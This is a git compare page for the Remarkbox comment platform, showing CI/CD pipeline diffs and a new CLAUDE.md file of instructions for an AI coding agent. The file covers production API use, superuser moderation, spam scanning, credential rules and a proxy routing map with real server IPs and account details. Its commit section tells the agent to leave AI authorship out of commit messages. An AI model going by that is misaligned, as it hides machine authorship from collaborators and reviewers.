Compare commits
237 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 3053704247 | |||
| 892e6a859e | |||
| 50b9d1ee8e | |||
| d1145510e2 | |||
| 5942f6b2b3 | |||
| 64a15b6a86 | |||
| 1527ef7d64 | |||
| 112d3fd3b1 | |||
| 05f51ff965 | |||
| 99d27c8483 | |||
| 10e7a2bdb2 | |||
| 89679fd784 | |||
| 763cacba57 | |||
| 97a1fffeba | |||
| 81344da09a | |||
| d7fa7d1b93 | |||
| 63a5a939c0 | |||
| 245c5c7d8c | |||
| b35c136f7f | |||
| 37350324ea | |||
| 38475eceeb | |||
| 9e22c0d768 | |||
| dded1622e8 | |||
| f5e453d6ba | |||
| 8b6dac4dd7 | |||
| 2fd71e9029 | |||
| 586f2366df | |||
| 1bf5111638 | |||
| 9db2407395 | |||
| a5c3e36fce | |||
| e1952cb1c4 | |||
| ddbcdfa094 | |||
| 68ca0ef6e7 | |||
| 176be89319 | |||
| 604c8407ee | |||
| f3815eb0ce | |||
| d37c60481d | |||
| 67483f2b98 | |||
| b51cf4574d | |||
| 06d70b9e92 | |||
| c87fb0bd1f | |||
| 2061097e13 | |||
| 46bdf3a217 | |||
| 75bec564b2 | |||
| b63277e4d1 | |||
| 6d1cfff91d | |||
| f45c42d343 | |||
| 5bcd7df585 | |||
| a57187672c | |||
| 4287aeee2c | |||
| 2d64d79b80 | |||
| fa6b3aab73 | |||
| 165aea2ca3 | |||
| 12f8364a61 | |||
| 7c85b6e77e | |||
| f5c09d873e | |||
| 37bffe29aa | |||
| a2e574d6b9 | |||
| 568e8757fe | |||
| ef4d6da410 | |||
| 8d64fa11e4 | |||
| 7575f74837 | |||
| f661938820 | |||
| 637f5a7073 | |||
| 0b22261b97 | |||
| 393151261d | |||
| 48e17ad0f8 | |||
| 14379cc364 | |||
| 3c4f5998f2 | |||
| e6af04bfc6 | |||
| ac5970044e | |||
| a42ed0dc7a | |||
| 18cd870956 | |||
| 56163ffda3 | |||
| 7bb2f7fa31 | |||
| 20161094fc | |||
| cc2da50569 | |||
| f9a00708db | |||
| e5693b61b0 | |||
| 28120caf48 | |||
| f70dfc9ed2 | |||
| 17a7b9df01 | |||
| 9f3c7e9b3a | |||
| c7e624fdd7 | |||
| 0667917318 | |||
| efd2e9f8b4 | |||
| af3132930d | |||
| 89644d2117 | |||
| a6ee451069 | |||
| 3579c89d4c | |||
|
|
6916c92333 | ||
| 82316fb8f7 | |||
| 070a6b678d | |||
|
|
5042a7d9f1 | ||
|
|
a3e6c0b046 | ||
|
|
bc751728f5 | ||
|
|
df3f3d231e | ||
| 66964f736a | |||
| 8d836dae34 | |||
| b6739fff70 | |||
| c038b649b2 | |||
| 165aff32e2 | |||
| c93647e2b7 | |||
| 8260897aeb | |||
| c530e0f9dc | |||
| 44e9fe94d2 | |||
| f1cffe2e79 | |||
| c5823c62ac | |||
| 0ea91d6859 | |||
| 4f60f6fbed | |||
| f0e365fd43 | |||
| 5a10e155bd | |||
| 9d59a3ca8a | |||
| 8666e97721 | |||
| b39e5dd55d | |||
| 3ac6cbee50 | |||
| 4d8d77c9b8 | |||
| cc968f6c5f | |||
| 8d838dbcba | |||
| 8b4d0bdeb6 | |||
| 9330782999 | |||
| df5c656eb0 | |||
| 32b1eae840 | |||
| 8971a46659 | |||
| 67648f06f9 | |||
| 2f8e676f78 | |||
| a49446cfef | |||
| 06ba106795 | |||
| a6c04d565a | |||
| 9936b21467 | |||
| 00edd84398 | |||
| a362190ea5 | |||
| 033fe1f1a7 | |||
| 43f794e385 | |||
| 6b2be261f5 | |||
| 19415fff06 | |||
| 8b353fc7ec | |||
| 58da72d344 | |||
| e0fbd06e10 | |||
| 89abc7e7af | |||
| 952120e5c5 | |||
| 5c2a279eb6 | |||
| 2762fcd792 | |||
| f1107b17a0 | |||
| 4d319c5647 | |||
| de1e7ca83b | |||
| f4baebedc6 | |||
| 499ce162e4 | |||
| a6b527a6b2 | |||
| 884d5afd7d | |||
| a0206833a9 | |||
| dd63ff22f3 | |||
| 83cf970b47 | |||
| acfbe52a65 | |||
| f641d39b11 | |||
| b8f88c7cfa | |||
| 6e624f392c | |||
| ef8f382976 | |||
| 9c74e6256a | |||
| 18a65fb506 | |||
| eb9383178d | |||
| 97deb91320 | |||
| 640c45662c | |||
| 517eb2a07e | |||
| bd129d26cd | |||
| 63be2521c2 | |||
| 0fefbbeb41 | |||
| 9b784fa7d1 | |||
| f717c89fa5 | |||
| c4c20ca1d4 | |||
| b79e764a4c | |||
| 5e0c0ef23b | |||
| 235e7d6f9b | |||
| 535453e0d6 | |||
| 69ada15278 | |||
| fdfc760865 | |||
| fe0cb22f23 | |||
| b993fe08d3 | |||
| 047a6db18b | |||
| 079eb09ad4 | |||
| 2e6d88f191 | |||
| 032498a868 | |||
| f9648c4ade | |||
| f65e1c9cf8 | |||
| aedb7056d8 | |||
| e148141fce | |||
| acb7e612b9 | |||
| 266189ce9b | |||
| cebf17caaa | |||
| c9c98950c3 | |||
| 44d015597d | |||
| 709da29224 | |||
| 0fdb2bb529 | |||
| c981d2f467 | |||
| 439c129d51 | |||
| 33d0c14f6f | |||
| a868d5668a | |||
| 33905a6891 | |||
| 08ad67c6de | |||
| b293cf19e2 | |||
| c8912232a2 | |||
| 197a868833 | |||
| 5d64f30ae6 | |||
| a1242bd2af | |||
| ac5d3092aa | |||
| bb562c7c45 | |||
| c3652dade6 | |||
| 88bb8ffa90 | |||
| 0c8859f527 | |||
| 5905884878 | |||
| c1111467fd | |||
| 259f308c98 | |||
| fa32bebde0 | |||
| 1bfe6b7f71 | |||
| bffde4fd8f | |||
| ac14e330ff | |||
| 00731ffc65 | |||
| 16733581bf | |||
| e12e7667c5 | |||
| 58417c53f6 | |||
| ddb2547a3a | |||
| 317e3437a3 | |||
| 1348891a5d | |||
| 28827fe064 | |||
| 5439a0811f | |||
| 2c464d81d8 | |||
| 939701db33 | |||
| 43712b0176 | |||
| 2d0a44ccaf | |||
| 413c0b6eae | |||
| 3b6d9fc56b | |||
| 744878f41d | |||
| 1acbaa16b0 | |||
| 8b456825ce | |||
| 7b8b54f038 | |||
| 65e10afab7 | |||
| 9b95c5d5f7 |
14
.gitlab-ci.deploy.yml
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
# We MUST have a separate pipeline otherwise the artifacts are stale!
|
||||||
|
# this is why we use an include file instead of a single file!
|
||||||
|
|
||||||
|
stages:
|
||||||
|
- deploy
|
||||||
|
|
||||||
|
my.remarkbox.com:
|
||||||
|
stage: deploy
|
||||||
|
tags: ["my.remarkbox.com"]
|
||||||
|
script:
|
||||||
|
# deploy build via salt-call out to the salt-master for a highstate.
|
||||||
|
- sudo /opt/salt-call-state-highstate.sh
|
||||||
|
rules:
|
||||||
|
- if: '$CI_COMMIT_BRANCH == "main"'
|
||||||
|
|
@ -1,7 +1,7 @@
|
||||||
stages:
|
stages:
|
||||||
- test
|
- test
|
||||||
- build
|
- build
|
||||||
- my.remarkbox.com
|
- deploy
|
||||||
- pypi-twine
|
- pypi-twine
|
||||||
|
|
||||||
test:
|
test:
|
||||||
|
|
@ -9,11 +9,10 @@ test:
|
||||||
tags: ["build"]
|
tags: ["build"]
|
||||||
except:
|
except:
|
||||||
- tags
|
- tags
|
||||||
script: make test
|
script:
|
||||||
artifacts:
|
- make venv
|
||||||
paths:
|
- env/bin/pip install 'setuptools<81'
|
||||||
- env.vanilla
|
- make test
|
||||||
expire_in: 1 hour
|
|
||||||
|
|
||||||
build:
|
build:
|
||||||
stage: build
|
stage: build
|
||||||
|
|
@ -21,8 +20,8 @@ build:
|
||||||
except:
|
except:
|
||||||
- tags
|
- tags
|
||||||
script:
|
script:
|
||||||
- ls -hal
|
- make venv
|
||||||
- mv env.vanilla env
|
- env/bin/pip install 'setuptools<81'
|
||||||
- make install-source-prod
|
- make install-source-prod
|
||||||
# Copy static assets to env/static
|
# Copy static assets to env/static
|
||||||
- cp -pr remarkbox/static env/static
|
- cp -pr remarkbox/static env/static
|
||||||
|
|
@ -30,19 +29,23 @@ build:
|
||||||
- cp -pr env/lib/python*/site-packages/remarkbox_westworld/static/* env/static
|
- cp -pr env/lib/python*/site-packages/remarkbox_westworld/static/* env/static
|
||||||
# Copy static assets to env/static for meta theme.
|
# Copy static assets to env/static for meta theme.
|
||||||
- cp -pr env/lib/python*/site-packages/remarkbox_theme_meta/static/* env/static
|
- cp -pr env/lib/python*/site-packages/remarkbox_theme_meta/static/* env/static
|
||||||
|
# Copy static assets to env/static for chaostheory theme.
|
||||||
|
- cp -pr env/lib/python*/site-packages/remarkbox_chaostheory/static/* env/static
|
||||||
# Make tarball of the static files.
|
# Make tarball of the static files.
|
||||||
- cp -pr env/static static
|
- cp -pr env/static static
|
||||||
- tar -zcf static.tar.gz static
|
- tar -zcf static.tar.gz static
|
||||||
|
# Clean up the directory outside of the gitlab-runner filesystem.
|
||||||
|
- rm -rf /opt/remarkbox/env
|
||||||
# Clone the virtualenv with virtualenv-clone into the desired location.
|
# Clone the virtualenv with virtualenv-clone into the desired location.
|
||||||
- virtualenv-clone env /opt/remarkbox/env
|
- virtualenv-clone -vvv $PWD/env /opt/remarkbox/env
|
||||||
|
# Create commit-hash.txt to track this build's git commit hash.
|
||||||
|
- echo $CI_COMMIT_SHA >> commit-hash.txt
|
||||||
|
# Place it inside the virtualenv before creating the tarball.
|
||||||
|
- cp commit-hash.txt /opt/remarkbox/env/commit-hash.txt
|
||||||
# Create a tarball of the virtualenv.
|
# Create a tarball of the virtualenv.
|
||||||
- tar -zcf env.tar.gz -C /opt/remarkbox .
|
- tar -zcf env.tar.gz -C /opt/remarkbox .
|
||||||
# Create a SHA512 hash of env.tar.gz.
|
# Create a SHA512 hash of env.tar.gz.
|
||||||
- sha512sum env.tar.gz >> env.tar.gz.hash
|
- sha512sum env.tar.gz >> env.tar.gz.hash
|
||||||
# Create commit-hash.txt to track this build's git commit hash.
|
|
||||||
- echo $CI_COMMIT_SHA >> commit-hash.txt
|
|
||||||
# Clean up the directory outside of the gitlab-runner filesystem.
|
|
||||||
- rm -rf /opt/remarkbox/env
|
|
||||||
artifacts:
|
artifacts:
|
||||||
paths:
|
paths:
|
||||||
- env.tar.gz
|
- env.tar.gz
|
||||||
|
|
@ -50,16 +53,17 @@ build:
|
||||||
- static.tar.gz
|
- static.tar.gz
|
||||||
- commit-hash.txt
|
- commit-hash.txt
|
||||||
expire_in: 1 month
|
expire_in: 1 month
|
||||||
|
when: always
|
||||||
|
|
||||||
|
|
||||||
my.remarkbox.com:
|
deploy:
|
||||||
stage: my.remarkbox.com
|
stage: deploy
|
||||||
tags: ["my.remarkbox.com"]
|
needs: [build]
|
||||||
script:
|
|
||||||
# publish build to Salt Master
|
|
||||||
- sudo /opt/salt-call-state-highstate.sh
|
|
||||||
rules:
|
rules:
|
||||||
- if: '$CI_COMMIT_BRANCH == "main"'
|
- if: '$CI_COMMIT_BRANCH == "develop" || $CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "main"'
|
||||||
|
when: on_success
|
||||||
|
trigger:
|
||||||
|
include: .gitlab-ci.deploy.yml
|
||||||
|
|
||||||
|
|
||||||
pypi-twine:
|
pypi-twine:
|
||||||
|
|
@ -69,7 +73,4 @@ pypi-twine:
|
||||||
only:
|
only:
|
||||||
- tags
|
- tags
|
||||||
script:
|
script:
|
||||||
- pip install --upgrade pip
|
- make twine-upload
|
||||||
- pip install twine
|
|
||||||
- python3 setup.py sdist bdist_wheel
|
|
||||||
- twine upload dist/*
|
|
||||||
|
|
|
||||||
523
CLAUDE.md
Normal file
|
|
@ -0,0 +1,523 @@
|
||||||
|
# Claude Code Configuration
|
||||||
|
|
||||||
|
## Project Setup
|
||||||
|
|
||||||
|
**IMPORTANT**: Before starting any work on a repository:
|
||||||
|
1. Check for a `CLAUDE.md` file in our repository root
|
||||||
|
2. Check for a `CLAUDE.md` file in parent directories (we often work across repos on localhost)
|
||||||
|
3. Read and follow all instructions in those files
|
||||||
|
4. These project-specific instructions override default Claude Code behavior
|
||||||
|
5. Look for conventions around commits, testing, code style, and workflows
|
||||||
|
6. If working across multiple repositories, respect our conventions from each repo's CLAUDE.md
|
||||||
|
|
||||||
|
## Commit Attribution
|
||||||
|
|
||||||
|
When creating git commits, use clean, simple commit messages:
|
||||||
|
|
||||||
|
```
|
||||||
|
Commit message here.
|
||||||
|
```
|
||||||
|
|
||||||
|
**Do NOT include:**
|
||||||
|
- `🤖 Generated with [Claude Code](https://claude.com/claude-code)`
|
||||||
|
- `Co-Authored-By: Claude <noreply@anthropic.com>`
|
||||||
|
- Any fake corporate entities as co-authors
|
||||||
|
|
||||||
|
**Only attribute real humans** as co-authors when collaborating.
|
||||||
|
|
||||||
|
**When fox approves a proposed commit, always commit AND push immediately.** No second confirmation needed. "yes" = commit + `git push`.
|
||||||
|
|
||||||
|
## Database Migrations (Alembic)
|
||||||
|
|
||||||
|
When adding new columns or modifying our database schema:
|
||||||
|
|
||||||
|
1. **Backup SQLite first**: `cp data/remarkbox.sqlite data/remarkbox.sqlite.bak`
|
||||||
|
2. **Add our column to our model** in `remarkbox/models/`
|
||||||
|
3. **Generate migration**: `make migration m="description of change"`
|
||||||
|
4. **Clean up migration**: Remove extra autogenerated changes, keep only our new field
|
||||||
|
5. **Apply migration**: `make migrate`
|
||||||
|
|
||||||
|
**CRITICAL**: ALWAYS use `make migration` to generate migration files. NEVER manually create migration files. NEVER hand-write or invent revision IDs. Alembic generates cryptographically unique revision IDs — a made-up ID will corrupt the migration chain and break production deploys.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# The ONLY correct way to create a migration:
|
||||||
|
make migration m="add foo column"
|
||||||
|
# → writes remarkbox/scripts/alembic/versions/05be3044c2d2_add_foo_column.py
|
||||||
|
# → revision ID is auto-generated (e.g. 05be3044c2d2), never invent one
|
||||||
|
|
||||||
|
# Apply pending migrations:
|
||||||
|
make migrate
|
||||||
|
|
||||||
|
# Check status:
|
||||||
|
make migration-status
|
||||||
|
```
|
||||||
|
|
||||||
|
If `make` is not available, the raw command is:
|
||||||
|
```bash
|
||||||
|
env/bin/alembic -c data/development.ini revision --autogenerate -m "description of change"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Ticket System
|
||||||
|
|
||||||
|
Tracked issues live in `docs/tickets/`. Start every session by reading our index:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat docs/tickets/index.md
|
||||||
|
```
|
||||||
|
|
||||||
|
- **Index**: `docs/tickets/index.md` is our master list. Always update it when creating or closing tickets.
|
||||||
|
- **Numbering**: Sequential. Next number = highest existing + 1.
|
||||||
|
- **Workflow**: Set status to `in-progress` when starting, `resolved` when done. Update `index.md` to match.
|
||||||
|
- **New tickets**: If you find a bug or get a feature request, create a new ticket file and add it to our index.
|
||||||
|
- **Sources**: Tickets reference community threads from `meta.remarkbox.com` and `faq.remarkbox.com` by UUID.
|
||||||
|
|
||||||
|
## Remarkbox API and Python Client
|
||||||
|
|
||||||
|
Remarkbox has a JSON API at `/api/v1/`. You can use it to read and write threads
|
||||||
|
on production as timehexon. Our session cookie is saved at `~/.config/remarkbox/cookies.txt`.
|
||||||
|
|
||||||
|
### Quick start (from a Python script in our scratchpad or inline)
|
||||||
|
|
||||||
|
```python
|
||||||
|
import os, sys
|
||||||
|
sys.path.insert(0, "/home/fox/git/remarkbox/remarkbox/api")
|
||||||
|
from remarkbox_client import RemarkboxClient
|
||||||
|
|
||||||
|
c = RemarkboxClient(
|
||||||
|
"https://my.remarkbox.com",
|
||||||
|
cookie_file=os.path.expanduser("~/.config/remarkbox/cookies.txt"),
|
||||||
|
)
|
||||||
|
|
||||||
|
# Read
|
||||||
|
threads = c.list_threads("meta.remarkbox.com")
|
||||||
|
thread = c.get_thread("9f970183-ffaf-11f0-b565-040140774501")
|
||||||
|
node = c.get_node(node_id)
|
||||||
|
profile = c.get_profile()
|
||||||
|
ver = c.version()
|
||||||
|
|
||||||
|
# Write (authenticated)
|
||||||
|
result = c.create_thread(namespace="meta.remarkbox.com", title="Title", data="Body")
|
||||||
|
result = c.reply(parent_node_id, data="Reply body")
|
||||||
|
c.edit_node(node_id, data="Updated body")
|
||||||
|
c.edit_node(node_id, title="Updated title") # title only for root nodes
|
||||||
|
c.update_profile("new-display-name")
|
||||||
|
|
||||||
|
# Moderate (authenticated, moderator or owner)
|
||||||
|
c.disable_node(node_id)
|
||||||
|
c.enable_node(node_id)
|
||||||
|
c.approve_node(node_id)
|
||||||
|
c.lock_node(node_id)
|
||||||
|
c.unlock_node(node_id)
|
||||||
|
c.delete_node(node_id) # permanent, moderator only
|
||||||
|
|
||||||
|
# Export (pandoc-powered, 67 output formats)
|
||||||
|
formats = c.export_formats()
|
||||||
|
md = c.export_thread(node_id, "markdown")
|
||||||
|
pdf = c.export_thread(node_id, "pdf")
|
||||||
|
epub = c.export_namespace("meta.remarkbox.com", "epub")
|
||||||
|
docx = c.export_node(node_id, "docx")
|
||||||
|
|
||||||
|
# Wiki mode (namespace.wiki=True, any authenticated user can edit root nodes)
|
||||||
|
c.wiki_edit(node_id, data="Updated content") # creates revision first
|
||||||
|
revisions = c.get_revisions(node_id)
|
||||||
|
revision = c.get_revision(revision_id)
|
||||||
|
|
||||||
|
# Themes (auto-generated per namespace, light + dark mode)
|
||||||
|
css = c.get_theme_css("meta.remarkbox.com")
|
||||||
|
preview = c.get_theme_preview("meta.remarkbox.com")
|
||||||
|
|
||||||
|
# Multi-syntax input (source_format parameter on create/reply/edit)
|
||||||
|
c.create_thread(namespace="ns", title="RST", data="Title\n=====\n\nParagraph.", source_format="rst")
|
||||||
|
c.reply(node_id, data="<p>HTML reply</p>", source_format="html")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Key details
|
||||||
|
|
||||||
|
- **Python client**: `remarkbox/api/remarkbox_client.py` (stdlib only, no pip)
|
||||||
|
- **C client**: `remarkbox/api/rb.c` (compile: `gcc rb.c -o rb -lcurl`)
|
||||||
|
- **API docs**: `docs/api.md`
|
||||||
|
- **Identity**: Authenticated as `timehexon@unturf.com` (display name: `timehexon`)
|
||||||
|
- **Journey thread**: `9f970183-ffaf-11f0-b565-040140774501` on `meta.remarkbox.com` -- update this after finishing work
|
||||||
|
- **Content limit**: 500,000 characters (~128k tokens)
|
||||||
|
- **Rate limits**: 120 reads/min, 30 writes/min, 1 thread creation per 7 min (wait if you hit 429)
|
||||||
|
|
||||||
|
### Endpoints
|
||||||
|
|
||||||
|
| Method | Path | Description |
|
||||||
|
|--------|------|-------------|
|
||||||
|
| GET | `/api/v1/version` | Deployed git commit hash |
|
||||||
|
| GET | `/api/v1/threads?namespace=X` | List threads |
|
||||||
|
| GET | `/api/v1/threads/{id}` | Thread with replies |
|
||||||
|
| POST | `/api/v1/threads` | Create thread (1 per 7 min limit) |
|
||||||
|
| POST | `/api/v1/threads/{id}/replies` | Reply to thread |
|
||||||
|
| GET | `/api/v1/nodes/{id}` | Single node |
|
||||||
|
| PATCH | `/api/v1/nodes/{id}` | Edit node (data, title, disabled, approved, locked) |
|
||||||
|
| DELETE | `/api/v1/nodes/{id}` | Delete node permanently (moderator only) |
|
||||||
|
| POST | `/api/v1/auth/login` | Send OTP to email |
|
||||||
|
| POST | `/api/v1/auth/verify` | Verify OTP |
|
||||||
|
| GET | `/api/v1/user/profile` | Get profile |
|
||||||
|
| PATCH | `/api/v1/user/profile` | Update display name |
|
||||||
|
| GET | `/api/v1/clients/python` | Download Python client |
|
||||||
|
| GET | `/api/v1/clients/c` | Download C client (rb.c) |
|
||||||
|
| GET | `/api/v1/admin/namespaces` | List all namespaces (superuser only) |
|
||||||
|
| GET | `/api/v1/admin/recent-nodes?days=7` | Recent nodes network-wide (superuser only) |
|
||||||
|
| GET | `/api/v1/export/formats` | List available pandoc export formats |
|
||||||
|
| GET | `/api/v1/export/namespace/{name}.{fmt}` | Export namespace as book |
|
||||||
|
| GET | `/api/v1/export/threads/{node_id}.{fmt}` | Export thread as document |
|
||||||
|
| GET | `/api/v1/export/nodes/{node_id}.{fmt}` | Export node subtree (on-demand) |
|
||||||
|
| GET | `/api/v1/nodes/{id}/revisions` | Revision history for a node |
|
||||||
|
| POST | `/api/v1/nodes/{id}/wiki-edit` | Wiki-edit a node (creates revision) |
|
||||||
|
| GET | `/api/v1/revisions/{id}` | Get a specific revision |
|
||||||
|
| GET | `/api/v1/themes/{namespace}/css` | Auto-generated theme CSS |
|
||||||
|
| GET | `/api/v1/themes/{namespace}/preview` | Theme palette preview (JSON) |
|
||||||
|
|
||||||
|
### Authentication
|
||||||
|
|
||||||
|
Our saved cookie should work indefinitely. If it expires, you'll need an OTP:
|
||||||
|
|
||||||
|
```python
|
||||||
|
c.login("timehexon@unturf.com")
|
||||||
|
# Ask the user for the 6-digit code from their email
|
||||||
|
c.verify("timehexon@unturf.com", "123456")
|
||||||
|
```
|
||||||
|
|
||||||
|
### Functional test
|
||||||
|
|
||||||
|
Run our full idempotent test suite against production:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
env/bin/python remarkbox/api/functional_test.py https://my.remarkbox.com meta.remarkbox.com timehexon@unturf.com --name timehexon
|
||||||
|
```
|
||||||
|
|
||||||
|
This exercises all endpoints and updates our journey thread with results.
|
||||||
|
|
||||||
|
## Superuser (Global Moderator)
|
||||||
|
|
||||||
|
Users with `is_superuser=True` can moderate across all namespaces. This bypasses our
|
||||||
|
normal namespace-scoped `is_moderator()` check. Our admin UI is at `/topsecret/users`
|
||||||
|
where you can promote/demote users by email.
|
||||||
|
|
||||||
|
Bootstrap our first superuser via our database script:
|
||||||
|
```bash
|
||||||
|
env/bin/python scripts/promote_superuser.py --ini development.ini --email timehexon@unturf.com
|
||||||
|
```
|
||||||
|
|
||||||
|
After that, use our web UI at `/topsecret/users` or our existing topsecret admin pages
|
||||||
|
(all guarded by `@super_fly_required` which checks `is_superuser`).
|
||||||
|
|
||||||
|
Admin client methods:
|
||||||
|
```python
|
||||||
|
c.admin_list_namespaces() # list all namespaces
|
||||||
|
c.admin_recent_nodes(days=7) # recent nodes network-wide
|
||||||
|
```
|
||||||
|
|
||||||
|
## Terminology
|
||||||
|
|
||||||
|
In all user-facing text, marketing, legal documents, and UI labels, use **"machine learning"**
|
||||||
|
instead of "AI". Our term "AI" should not appear in Remarkbox copy. Internal code comments
|
||||||
|
and technical references (e.g., "OpenAI-compatible endpoint") are fine. Third-party brand
|
||||||
|
names like "UncloseAI" are also unchanged.
|
||||||
|
|
||||||
|
## Spam Prevention
|
||||||
|
|
||||||
|
Spam detection runs automatically on `POST /api/v1/threads` and `POST /api/v1/threads/{id}/replies`.
|
||||||
|
Superusers bypass all spam checks.
|
||||||
|
|
||||||
|
**Scoring signals**: link density, known spam patterns, duplicate content, new account velocity,
|
||||||
|
IP reputation (disabled post count), content length anomalies.
|
||||||
|
|
||||||
|
**Thresholds** (configurable in `.ini`):
|
||||||
|
- `spam.hard_threshold = 0.8` -- reject with 403
|
||||||
|
- `spam.soft_threshold = 0.5` -- allow but set `approved=False` (held for moderation)
|
||||||
|
|
||||||
|
**Thread creation rate limit**: 1 new thread per 7 minutes per user/IP via our API.
|
||||||
|
This does not affect browser users or replies.
|
||||||
|
|
||||||
|
**Spam hunting scripts** (require superuser cookie):
|
||||||
|
```bash
|
||||||
|
# Scan recent posts for spam
|
||||||
|
python scripts/spam/scan.py --days=7 --threshold=0.3
|
||||||
|
|
||||||
|
# Scan and output JSON
|
||||||
|
python scripts/spam/scan.py --json --threshold=0.5
|
||||||
|
|
||||||
|
# Bulk disable flagged posts
|
||||||
|
python scripts/spam/scan.py --json --threshold=0.8 | python scripts/spam/disable_spam.py --from-json
|
||||||
|
|
||||||
|
# Disable specific nodes
|
||||||
|
python scripts/spam/disable_spam.py node-uuid-1 node-uuid-2
|
||||||
|
```
|
||||||
|
|
||||||
|
## Credential Access
|
||||||
|
|
||||||
|
**Never access credentials without explicit instruction from fox.** This includes `pass show`, reading API key files, private keys, session cookies, tokens, or any secrets. Propose first. Fox decides. Then execute.
|
||||||
|
|
||||||
|
## Operation Voyeur
|
||||||
|
|
||||||
|
**All comms are public** from 2026-03-29. Assume every terminal session and output is observed. NEVER display secrets to stdout. NEVER pass secrets as CLI args. NEVER read secret file contents with Read tool or cat — content enters conversation logs. **Path is fine. Content is not.** Safe pattern: write a shell script that reads our key internally, run our script, delete it.
|
||||||
|
|
||||||
|
## Production Rules
|
||||||
|
|
||||||
|
**NEVER run direct SQL or raw database commands on production.** No `sqlite3`, no `UPDATE`, no `DELETE`, no direct file edits on our production database. Ever. If our API doesn't support what you need, add our endpoint first, push it, then use our client.
|
||||||
|
|
||||||
|
**ALL production changes go through our API client.** Use `RemarkboxClient` with our saved cookie at `~/.config/remarkbox/cookies.txt`. This ensures authentication, audit trails, and proper ORM handling.
|
||||||
|
|
||||||
|
**tmux-hosts is read-only.** You may use `tmux-hosts` to read logs, check processes, and investigate issues. You may NOT use it to modify data, run SQL, edit files, or restart services.
|
||||||
|
|
||||||
|
```python
|
||||||
|
# RIGHT: Use the API client
|
||||||
|
c = RemarkboxClient("https://my.remarkbox.com", cookie_file="~/.config/remarkbox/cookies.txt")
|
||||||
|
c.disable_node(node_id)
|
||||||
|
|
||||||
|
# WRONG: Never do this
|
||||||
|
# sqlite3 /opt/remarkbox/my.remarkbox.com.sqlite "UPDATE rb_node SET disabled=1 WHERE id='...'"
|
||||||
|
```
|
||||||
|
|
||||||
|
If a moderation operation is not yet supported by our API, our correct workflow is:
|
||||||
|
1. Add our endpoint to `remarkbox/api/views.py`
|
||||||
|
2. Add our method to `remarkbox/api/remarkbox_client.py`
|
||||||
|
3. Push, wait for deploy
|
||||||
|
4. Use our client
|
||||||
|
|
||||||
|
## Deployment Status
|
||||||
|
|
||||||
|
After pushing, check if our deploy is live by hitting our version endpoint:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s https://my.remarkbox.com/api/v1/version
|
||||||
|
# {"version": "5a10e15"}
|
||||||
|
```
|
||||||
|
|
||||||
|
Compare our returned commit hash against `git rev-parse --short HEAD` to confirm
|
||||||
|
our latest code is deployed.
|
||||||
|
|
||||||
|
You can also check GitLab pipeline status:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Get pipeline status via API (replace PIPELINE_ID)
|
||||||
|
curl -s "https://git.unturf.com/api/v4/projects/engineering%2Fremarkbox%2Fremarkbox/pipelines/PIPELINE_ID"
|
||||||
|
|
||||||
|
# Or view in browser:
|
||||||
|
# https://git.unturf.com/engineering/remarkbox/remarkbox/-/pipelines
|
||||||
|
```
|
||||||
|
|
||||||
|
Our pipeline status will show `"status":"success"` when deployment is complete.
|
||||||
|
|
||||||
|
## Proxy Architecture
|
||||||
|
|
||||||
|
Remarkbox domains route through two servers. Understanding this is critical
|
||||||
|
for debugging TLS, DNS, or routing issues.
|
||||||
|
|
||||||
|
**Edge proxy**: `142.93.73.64` (`proxy.unturf.com`) — terminates TLS, handles
|
||||||
|
ACME certs, runs bot defense (ASSHOLE CRM). Config lives in
|
||||||
|
`~/git/proxy.unturf.com/ingress/Caddyfile`.
|
||||||
|
|
||||||
|
**Origin server**: `162.243.167.224` (`origin.remarkbox.com`) — runs Caddy +
|
||||||
|
uwsgi. Config managed via salt pillar at `foxhop-pillar/caddy/remarkbox.sls`.
|
||||||
|
|
||||||
|
### Domain routing map
|
||||||
|
|
||||||
|
| Domain | DNS → | Handler | Backend | Status |
|
||||||
|
|--------|-------|---------|---------|--------|
|
||||||
|
| `remarkbox.com` | proxy (142.93.73.64) | redirect → www | — | live |
|
||||||
|
| `www.remarkbox.com` | proxy | file_server | `/opt/www/remarkbox` on proxy | live |
|
||||||
|
| `my.remarkbox.com` | proxy | reverse_proxy | origin → uwsgi :6001 | live |
|
||||||
|
| `meta.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
|
||||||
|
| `faq.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
|
||||||
|
| `demo.remarkbox.com` | CNAME → my → proxy | reverse_proxy | origin → uwsgi :6001 | live |
|
||||||
|
| `origin.remarkbox.com` | direct (162.243.167.224) | reverse_proxy | uwsgi :6001 | live |
|
||||||
|
| `westworld2.com` | proxy | **parked** redirect → unturf.com | — | parked 2026-04-08 |
|
||||||
|
| `www.foxhop.net` | proxy | **no Caddy block** — not yet routed | — | unrouted 2026-04-08 |
|
||||||
|
|
||||||
|
**Planned multi-tenant consolidation (foxhop.net + westworld2.com → origin:6001):**
|
||||||
|
- Merge `foxhop.net.sqlite` + `westworld2.com.sqlite` into origin DB
|
||||||
|
- Set `rb_namespace.theme = 'chaostheory'` (foxhop) & `'westworld'` (westworld2) in DB
|
||||||
|
- Remove `app.namespace` override from foxhop config — `request.domain` drives namespace
|
||||||
|
- Add proxy Caddy blocks: `www.foxhop.net` & `westworld2.com` → origin:6001
|
||||||
|
- Theme packages installed locally: `remarkbox_chaostheory`, `remarkbox_westworld`
|
||||||
|
- Salt pillar ref: `~/git/foxhop-states/uwsgi/configs/westworld2.com.ini`
|
||||||
|
- foxhop local dev: `~/git/remarkbox/foxhop-local.ini` (port 6004)
|
||||||
|
|
||||||
|
### Request flow for proxied domains (my, meta, faq)
|
||||||
|
|
||||||
|
```
|
||||||
|
Client → DNS (CNAME or A → 142.93.73.64)
|
||||||
|
→ proxy.unturf.com Caddy (TLS termination, ACME, bot gate)
|
||||||
|
→ reverse_proxy https://origin.remarkbox.com
|
||||||
|
(Host header preserved, TLS via origin cert)
|
||||||
|
→ origin Caddy (routes by Host header)
|
||||||
|
→ uwsgi localhost:6001
|
||||||
|
→ Remarkbox app (namespace from Host)
|
||||||
|
```
|
||||||
|
|
